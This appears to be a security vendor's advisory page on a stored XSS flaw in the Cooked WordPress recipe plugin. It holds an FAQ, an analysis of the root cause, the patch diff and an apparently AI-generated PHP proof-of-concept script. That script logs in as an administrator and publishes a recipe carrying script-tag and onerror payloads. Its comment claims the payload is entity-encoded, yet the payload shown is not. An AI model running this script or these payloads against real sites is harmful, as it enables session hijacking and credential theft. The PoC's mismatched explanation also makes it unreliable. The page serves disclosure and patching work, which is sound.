What is CVE-2025-62989?

CVE-2025-62989 is a stored cross-site scripting (XSS) vulnerability in the Cooked WordPress plugin, affecting versions up to and including 1.11.3. It allows authenticated users with administrator-level access to inject arbitrary JavaScript into recipe content, which executes when other users view the affected pages.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the handling of recipe metadata. Attackers can submit specially crafted data that includes JavaScript payloads, which bypasses existing sanitization due to improper handling of HTML-encoded values.

Who is affected by this vulnerability?

Only WordPress installations using the Cooked plugin version 1.11.3 or earlier are affected, particularly those in multi-site configurations or where the unfiltered_html capability is disabled. Administrators of these sites should assess their installations to determine if they are vulnerable.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Cooked plugin installed. If it is version 1.11.3 or earlier, your site is at risk. Additionally, consider reviewing any recipe content for unexpected JavaScript or HTML that may indicate exploitation.

What should I do to fix the vulnerability?

To mitigate this vulnerability, update the Cooked plugin to version 1.11.4 or later, which includes a patch that properly sanitizes input and prevents XSS. Regularly check for updates to ensure that your plugins are secure.

What does the CVSS score of 4.4 indicate?

A CVSS score of 4.4 indicates a medium severity vulnerability. This means that while the vulnerability can be exploited, it requires authenticated access and is primarily a concern for sites with multiple administrators or untrusted users.

What are the practical risks of this vulnerability?

If exploited, this vulnerability allows an attacker to inject persistent JavaScript into recipe pages, which can lead to session hijacking, credential theft, or administrative actions performed on behalf of victims. The risk is particularly pronounced in multi-site environments.

How does the proof of concept demonstrate the issue?

The proof of concept illustrates how an authenticated attacker can exploit the vulnerability by submitting a crafted recipe edit request that includes malicious JavaScript. This demonstrates the attack vector and how the payload can be injected into the recipe content.

What changes were made in the patched version?

The patched version 1.11.4 includes changes that implement proper HTML entity decoding before sanitization. This ensures that HTML tags are correctly filtered, preventing XSS attacks that were possible in earlier versions.

Are there any additional security measures I should take?

In addition to updating plugins, consider implementing security best practices such as using a web application firewall, regularly monitoring user activity, and conducting security audits. Educating users about safe practices can also help mitigate risks.

What is stored cross-site scripting (XSS)?

Stored cross-site scripting (XSS) is a type of security vulnerability where an attacker injects malicious scripts into content that is stored on a server. When users access this content, the scripts execute in their browsers, potentially leading to data theft or unauthorized actions.

How can I stay informed about vulnerabilities?

To stay informed about vulnerabilities, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the National Vulnerability Database (NVD) or the CVE database for updates related to plugins and themes you use.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-62989: Cooked <= 1.11.3 – Authenticated (Administrator+) Stored Cross-Site Scripting (cooked)

CVE ID CVE-2025-62989

Plugin cooked

Severity Medium (CVSS 4.4)

CWE 79

Vulnerable Version 1.11.3

Patched Version 1.11.4

Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62989:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Cooked WordPress recipe plugin. The vulnerability affects multi-site installations and installations where the unfiltered_html capability is disabled. Attackers with administrator-level access can inject arbitrary JavaScript into recipe content, which executes when users view the affected recipe pages.

The root cause is insufficient input sanitization and output escaping in the recipe meta data handling functions. The vulnerability exists in the Cooked_Recipe_Meta::meta_cleanup() method within /cooked/includes/class.cooked-recipe-meta.php. This method processes user-supplied recipe data from the $_POST[‘_recipe_settings’] array. The vulnerable code paths include the handling of ‘content’, ‘excerpt’, ‘notes’, ‘title’, and nested fields within ‘ingredients’ and ‘directions’ arrays. The sanitization logic incorrectly used wp_kses_post() on already HTML-entity-encoded values, preventing proper HTML tag filtering.

Exploitation requires an authenticated administrator to submit a specially crafted recipe edit request. The attack vector targets the recipe editor interface, specifically the AJAX or form submission endpoints that process recipe meta data. Attackers would inject JavaScript payloads into fields like recipe content, excerpt, notes, or ingredient names. These payloads bypass the wp_kses_post() sanitization because the HTML tags are encoded as HTML entities (e.g., <script>) before sanitization occurs.

The patch addresses the vulnerability by implementing proper HTML entity decoding before sanitization. The key changes include replacing stripslashes() with wp_unslash() in multiple files and adding wp_specialchars_decode() calls before wp_kses_post() in the meta_cleanup() method. These changes ensure that HTML tags are properly decoded from their entity-encoded form before being filtered by wp_kses_post(). The patch also adds a security check in class.cooked-post-types.php to verify admin permissions and correct page context before processing settings updates.

Successful exploitation allows attackers with administrator privileges to inject persistent JavaScript payloads into recipe pages. This JavaScript executes in the context of any user viewing the compromised recipe, potentially enabling session hijacking, credential theft, or administrative actions performed on behalf of victims. The impact is limited to installations where administrators are not fully trusted, such as multi-site networks where site administrators have reduced privileges.

Differential between vulnerable and patched code

Code Diff

--- a/cooked/cooked.php
+++ b/cooked/cooked.php
@@ -6,7 +6,7 @@
 Description: 	A recipe plugin for WordPress.
 Author:         Gora Tech
 Author URI: 	https://goratech.dev
-Version: 		1.11.3
+Version: 		1.11.4
 Text Domain: 	cooked
 Domain Path: 	languages
 License:     	GPL2
@@ -30,7 +30,7 @@

 require_once __DIR__ . '/vendor/autoload.php';

-define( 'COOKED_VERSION', '1.11.3' );
+define( 'COOKED_VERSION', '1.11.4' );
 define( 'COOKED_DEV', false );

 if ( ! class_exists( 'Cooked_Plugin' ) ) :
@@ -254,7 +254,7 @@
             self::$instance->updates = new Cooked_Updates();
             self::$instance->post_types = new Cooked_Post_Types();
             self::$instance->recipe_meta = new Cooked_Recipe_Meta();
-            self::$instance->recipe_meta = new Cooked_Measurements();
+            self::$instance->measurements = new Cooked_Measurements();
             self::$instance->users = new Cooked_Users();
             self::$instance->recipes = new Cooked_Recipes();
             self::$instance->shortcodes = new Cooked_Shortcodes();
--- a/cooked/includes/class.cooked-ajax.php
+++ b/cooked/includes/class.cooked-ajax.php
@@ -351,7 +351,7 @@
         }

         if (isset($_cooked_settings['default_content'])) {
-            $default_content = stripslashes($_cooked_settings['default_content']);
+            $default_content = wp_unslash($_cooked_settings['default_content']);
         } else {
             $default_content = Cooked_Recipes::default_content();
         }
--- a/cooked/includes/class.cooked-delicious-recipes.php
+++ b/cooked/includes/class.cooked-delicious-recipes.php
@@ -104,7 +104,7 @@
         }

         if (isset($_cooked_settings['default_content'])) {
-            $default_content = stripslashes($_cooked_settings['default_content']);
+            $default_content = wp_unslash($_cooked_settings['default_content']);
         } else {
             $default_content = Cooked_Recipes::default_content();
         }
--- a/cooked/includes/class.cooked-functions.php
+++ b/cooked/includes/class.cooked-functions.php
@@ -20,7 +20,7 @@
 	private static $guest_message_id = false;

 	public static function sanitize_text_field( $text ) {
-		$text = htmlentities( stripslashes( $text ) );
+		$text = htmlentities( wp_unslash( $text ) );
 		$text = sanitize_text_field( $text );
 		return $text;
 	}
--- a/cooked/includes/class.cooked-measurements.php
+++ b/cooked/includes/class.cooked-measurements.php
@@ -13,9 +13,9 @@
 use NXPMathExecutor;

 /**
- * Cooked_Recipe_Meta Class
+ * Cooked_Measurements Class
  *
- * This class handles the Cooked Recipe Meta Box creation.
+ * This class handles the Cooked Measurements.
  *
  * @since 1.0.0
  */
--- a/cooked/includes/class.cooked-post-types.php
+++ b/cooked/includes/class.cooked-post-types.php
@@ -207,7 +207,8 @@

         $parent_page_slug = ( isset($_cooked_settings['browse_page']) && $_cooked_settings['browse_page'] ? ltrim( untrailingslashit( str_replace( home_url(), '', get_permalink( $_cooked_settings['browse_page'] ) ) ), '/' ) : false );

-        if (!empty($_GET['settings-updated'])) {
+        // Security check: Only allow settings update from admin area with proper permissions
+        if (!empty($_GET['settings-updated']) && is_admin() && current_user_can('manage_options') && isset($_GET['page']) && $_GET['page'] === 'cooked_settings') {
             // Recipe Permalink
             $permalink_parts = explode( '/', $_cooked_settings['recipe_permalink'] );
             if ( isset( $permalink_parts[1] ) ):
--- a/cooked/includes/class.cooked-recipe-maker.php
+++ b/cooked/includes/class.cooked-recipe-maker.php
@@ -105,7 +105,7 @@
         }

         if (isset($_cooked_settings['default_content'])) {
-            $default_content = stripslashes($_cooked_settings['default_content']);
+            $default_content = wp_unslash($_cooked_settings['default_content']);
         } else {
             $default_content = Cooked_Recipes::default_content();
         }
--- a/cooked/includes/class.cooked-recipe-meta.php
+++ b/cooked/includes/class.cooked-recipe-meta.php
@@ -39,13 +39,17 @@
                 if (!is_array($val)) {
                     if ( $key === "content" || $key === "excerpt" || $key === "notes" ) {
                         if ($wp_editor_roles_allowed) {
-                            $_recipe_settings[$key] = wp_kses_post( $val );
+                            // Decode HTML entities first so wp_kses_post can see actual HTML tags
+                            $decoded_val = wp_specialchars_decode( $val, ENT_QUOTES );
+                            $_recipe_settings[$key] = wp_kses_post( $decoded_val );
                         } else {
                             $_recipe_settings[$key] = Cooked_Functions::sanitize_text_field( $val );
                         }
                     } else {
                         if ($key === "post_title") {
-                            $_recipe_settings[$key] = wp_kses_post( $val );
+                            // Decode HTML entities first so wp_kses_post can see actual HTML tags
+                            $decoded_val = wp_specialchars_decode( $val, ENT_QUOTES );
+                            $_recipe_settings[$key] = wp_kses_post( $decoded_val );
                         } else {
                             $_recipe_settings[$key] = Cooked_Functions::sanitize_text_field( $val );
                         }
@@ -57,9 +61,18 @@
                         } else {
                             foreach ( $subval as $sub_subkey => $sub_subval ) {
                                 if ( !is_array($sub_subval) ) {
-                                    if ( $sub_subkey == 'content' || $key == 'ingredients' && $sub_subkey == 'name' || $key == 'ingredients' && ($sub_subkey == 'section_heading_name' || $sub_subkey == 'section_heading_element') || $key == 'directions' && ($sub_subkey == 'section_heading_name' || $sub_subkey == 'section_heading_element') ) {
+                                    if (
+                                        // For content keys: allow 'content'
+                                        ($sub_subkey === 'content') ||
+                                        // For ingredients: allow 'name' and section heading fields
+                                        ($key === 'ingredients' && ($sub_subkey === 'name' || $sub_subkey === 'section_heading_name' || $sub_subkey === 'section_heading_element')) ||
+                                        // For directions: allow 'content' and section heading fields
+                                        ($key === 'directions' && ($sub_subkey === 'content' || $sub_subkey === 'section_heading_name' || $sub_subkey === 'section_heading_element'))
+                                    ) {
                                         if ($wp_editor_roles_allowed) {
-                                            $_recipe_settings[$key][$subkey][$sub_subkey] = wp_kses_post( $sub_subval );
+                                            // Decode HTML entities first so wp_kses_post can see actual HTML tags
+                                            $decoded_sub_subval = wp_specialchars_decode( $sub_subval, ENT_QUOTES );
+                                            $_recipe_settings[$key][$subkey][$sub_subkey] = wp_kses_post( $decoded_sub_subval );
                                         } else {
                                             $_recipe_settings[$key][$subkey][$sub_subkey] = Cooked_Functions::sanitize_text_field( $sub_subval );
                                         }
@@ -129,7 +142,7 @@
         global $recipe_settings;

         /* OK, it's safe for us to validate/sanitize the data now. */
-        $recipe_settings = isset($_POST['_recipe_settings']) ? self::meta_cleanup( $_POST['_recipe_settings'] ) : [];
+        $recipe_settings = isset($_POST['_recipe_settings']) ? self::meta_cleanup( wp_unslash( $_POST['_recipe_settings'] ) ) : [];

         if ( isset( $recipe_settings['content'] ) ) {
             $recipe_settings['content'] = str_replace( ["rn", "r"], "n", $recipe_settings['content'] );
@@ -352,7 +365,7 @@
                 <?php endif; ?>

                 <div class="recipe-setting-block cooked-bm-30">
-                    <?php $recipe_content = isset($recipe_settings['content']) ? stripslashes(wp_specialchars_decode($recipe_settings['content'])) : (isset($_cooked_settings['default_content']) ? stripslashes(wp_specialchars_decode($_cooked_settings['default_content'])) : Cooked_Recipes::default_content()); ?>
+                    <?php $recipe_content = isset($recipe_settings['content']) ? wp_unslash($recipe_settings['content']) : (isset($_cooked_settings['default_content']) ? wp_unslash($_cooked_settings['default_content']) : Cooked_Recipes::default_content()); ?>
                     <?php
                         wp_editor($recipe_content, '_recipe_settings_content', [
                             'teeny' => false,
@@ -369,7 +382,7 @@
                     <h3 class="cooked-settings-title"><?php _e( 'Recipe Excerpt', 'cooked' ); ?><span class="cooked-tooltip cooked-tooltip-icon" title="<?php echo esc_attr( __( 'The excerpt is used on recipe listing templates, where the full recipe should not be displayed.','cooked') ); ?>"><i class="cooked-icon cooked-icon-question"></i></span></h3>
                     <p>
                         <?php if ( $wp_editor_roles_allowed ): ?>
-                            <?php $recipe_excerpt = isset($recipe_settings['excerpt']) ? stripslashes(wp_specialchars_decode($recipe_settings['excerpt'])) : ''; ?>
+                            <?php $recipe_excerpt = isset($recipe_settings['excerpt']) ? wp_unslash($recipe_settings['excerpt']) : ''; ?>
                             <?php
                             wp_editor($recipe_excerpt, '_recipe_settings_excerpt', [
                                 'teeny' => true,
@@ -429,7 +442,7 @@
                 <div class="recipe-setting-block cooked-bm-30">
                 <h3 class="cooked-settings-title"><?php _e( 'Recipe Notes', 'cooked' ); ?><span class="cooked-tooltip cooked-tooltip-icon" title="<?php echo __( 'The notes are displayed in the recipe.','cooked'); ?>"><i class="cooked-icon cooked-icon-question"></i></span></h3>
                     <?php if ( $wp_editor_roles_allowed ): ?>
-                        <?php $recipe_notes = isset($recipe_settings['notes']) ? stripslashes(wp_specialchars_decode($recipe_settings['notes'])) : ''; ?>
+                        <?php $recipe_notes = isset($recipe_settings['notes']) ? wp_unslash($recipe_settings['notes']) : ''; ?>
                         <?php
                             wp_editor($recipe_notes, '_recipe_settings_notes', [
                                 'teeny' => false,
--- a/cooked/includes/class.cooked-recipes.php
+++ b/cooked/includes/class.cooked-recipes.php
@@ -259,7 +259,7 @@

                         echo '<div class="cooked-srl-content">';

-                            echo '<div class="cooked-srl-title"><a href="' . esc_url( get_permalink($rid) ) . '">' . wp_kses_post( $recipe['title'] ) . '</a></div>';
+                            echo '<div class="cooked-srl-title"><a href="' . esc_url( get_permalink($rid) ) . '">' . esc_html( $recipe['title'] ) . '</a></div>';

                             if ( in_array('author', $_cooked_settings['recipe_info_display_options']) && !$hide_author ):
                                 echo '<div class="cooked-srl-author">';
--- a/cooked/templates/front/recipe-single.php
+++ b/cooked/templates/front/recipe-single.php
@@ -30,7 +30,7 @@

         do_action( 'cooked_recipe_grid_before_name', $recipe );

-        echo '<a href="' . esc_url( get_permalink( $recipe['id'] ) ) . '" class="cooked-recipe-card-title">' . wp_kses_post( $recipe_settings['title'] ) . '</a>';
+        echo '<a href="' . esc_url( get_permalink( $recipe['id'] ) ) . '" class="cooked-recipe-card-title">' . esc_html( $recipe_settings['title'] ) . '</a>';

         do_action( 'cooked_recipe_grid_after_name', $recipe );

--- a/cooked/templates/front/recipe.php
+++ b/cooked/templates/front/recipe.php
@@ -29,7 +29,7 @@
 	$recipe_content = $wp_embed->autoembed( $recipe_content );
 	$recipe_content .=  '<div id="cooked-fsm-' . intval( $recipe_id ) . '" class="cooked-fsm" data-recipe-id="' . intval( $recipe_id ) . '">';
 		$recipe_content .=  do_shortcode( Cooked_Recipes::fsm_content() );
-		$recipe_content .=  '<div class="cooked-fsm-top">' . wp_kses_post( $recipe_settings['title'] ) . '<a href="#" class="cooked-close-fsm"><i class="cooked-icon cooked-icon-close"></i></a></div>';
+		$recipe_content .=  '<div class="cooked-fsm-top">' . esc_html( $recipe_settings['title'] ) . '<a href="#" class="cooked-close-fsm"><i class="cooked-icon cooked-icon-close"></i></a></div>';
 		$recipe_content .=  '<div class="cooked-fsm-mobile-nav">';
 			$recipe_content .=  '<a href="#ingredients" data-nav-id="ingredients" class="cooked-fsm-nav-ingredients cooked-active">' . __( 'Ingredients', 'cooked' ) . '</a>';
 			$recipe_content .=  '<a href="#directions" data-nav-id="directions" class="cooked-fsm-nav-directions">' . __( 'Directions', 'cooked' ) . '</a>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62989 - Cooked <= 1.11.3 - Authenticated (Administrator+) Stored Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-site.com';
$username = 'admin';
$password = 'password';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Get login page and nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$response = curl_exec($ch);

preg_match('/name="log"[^>]+value="([^"]*)"/', $response, $log_match);
$log_nonce = $log_match[1] ?? '';

// Step 2: Authenticate as administrator
$post_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Access recipe creation page to get nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=cp_recipe');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_match);
$wp_nonce = $nonce_match[1] ?? '';

// Step 4: Create malicious recipe with XSS payload
// The payload uses HTML entity encoding to bypass wp_kses_post() in vulnerable versions
$malicious_content = '<script>alert(document.domain)</script>';
$malicious_title = '<img src=x onerror=alert("XSS")>';

$recipe_data = [
    'post_type' => 'cp_recipe',
    'post_title' => 'Malicious Recipe',
    '_recipe_settings[content]' => $malicious_content,
    '_recipe_settings[title]' => $malicious_title,
    '_recipe_settings[excerpt]' => $malicious_content,
    '_recipe_settings[notes]' => $malicious_content,
    '_recipe_settings[ingredients][0][name]' => $malicious_content,
    '_recipe_settings[directions][0][content]' => $malicious_content,
    '_wpnonce' => $wp_nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php?post_type=cp_recipe',
    'publish' => 'Publish'
];

// Submit the recipe
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($recipe_data));
$response = curl_exec($ch);

// Check if recipe was created
if (strpos($response, 'post-updated') !== false || strpos($response, 'post-published') !== false) {
    echo "[+] Malicious recipe created successfullyn";
    
    // Extract recipe ID from response
    preg_match('/post=([0-9]+)/', $response, $post_id_match);
    if (!empty($post_id_match[1])) {
        $recipe_id = $post_id_match[1];
        echo "[+] Recipe ID: $recipe_idn";
        echo "[+] View recipe at: $target_url/?p=$recipe_idn";
    }
} else {
    echo "[-] Recipe creation failedn";
}

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2025-62989?
Overview of the vulnerability
CVE-2025-62989 is a stored cross-site scripting (XSS) vulnerability in the Cooked WordPress plugin, affecting versions up to and including 1.11.3. It allows authenticated users with administrator-level access to inject arbitrary JavaScript into recipe content, which executes when other users view the affected pages.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the handling of recipe metadata. Attackers can submit specially crafted data that includes JavaScript payloads, which bypasses existing sanitization due to improper handling of HTML-encoded values.
Who is affected by this vulnerability?
Identifying affected users
Only WordPress installations using the Cooked plugin version 1.11.3 or earlier are affected, particularly those in multi-site configurations or where the unfiltered_html capability is disabled. Administrators of these sites should assess their installations to determine if they are vulnerable.
How can I check if my site is vulnerable?
Steps to identify vulnerability
To check if your site is vulnerable, verify the version of the Cooked plugin installed. If it is version 1.11.3 or earlier, your site is at risk. Additionally, consider reviewing any recipe content for unexpected JavaScript or HTML that may indicate exploitation.
What should I do to fix the vulnerability?
Mitigation steps
To mitigate this vulnerability, update the Cooked plugin to version 1.11.4 or later, which includes a patch that properly sanitizes input and prevents XSS. Regularly check for updates to ensure that your plugins are secure.
What does the CVSS score of 4.4 indicate?
Understanding the severity level
A CVSS score of 4.4 indicates a medium severity vulnerability. This means that while the vulnerability can be exploited, it requires authenticated access and is primarily a concern for sites with multiple administrators or untrusted users.
What are the practical risks of this vulnerability?
Potential impacts on users
If exploited, this vulnerability allows an attacker to inject persistent JavaScript into recipe pages, which can lead to session hijacking, credential theft, or administrative actions performed on behalf of victims. The risk is particularly pronounced in multi-site environments.
How does the proof of concept demonstrate the issue?
Understanding the exploitation method
The proof of concept illustrates how an authenticated attacker can exploit the vulnerability by submitting a crafted recipe edit request that includes malicious JavaScript. This demonstrates the attack vector and how the payload can be injected into the recipe content.
What changes were made in the patched version?
Details of the fix
The patched version 1.11.4 includes changes that implement proper HTML entity decoding before sanitization. This ensures that HTML tags are correctly filtered, preventing XSS attacks that were possible in earlier versions.
Are there any additional security measures I should take?
Best practices for WordPress security
In addition to updating plugins, consider implementing security best practices such as using a web application firewall, regularly monitoring user activity, and conducting security audits. Educating users about safe practices can also help mitigate risks.
What is stored cross-site scripting (XSS)?
Definition and implications
Stored cross-site scripting (XSS) is a type of security vulnerability where an attacker injects malicious scripts into content that is stored on a server. When users access this content, the scripts execute in their browsers, potentially leading to data theft or unauthorized actions.
How can I stay informed about vulnerabilities?
Resources for security updates
To stay informed about vulnerabilities, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the National Vulnerability Database (NVD) or the CVE database for updates related to plugins and themes you use.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations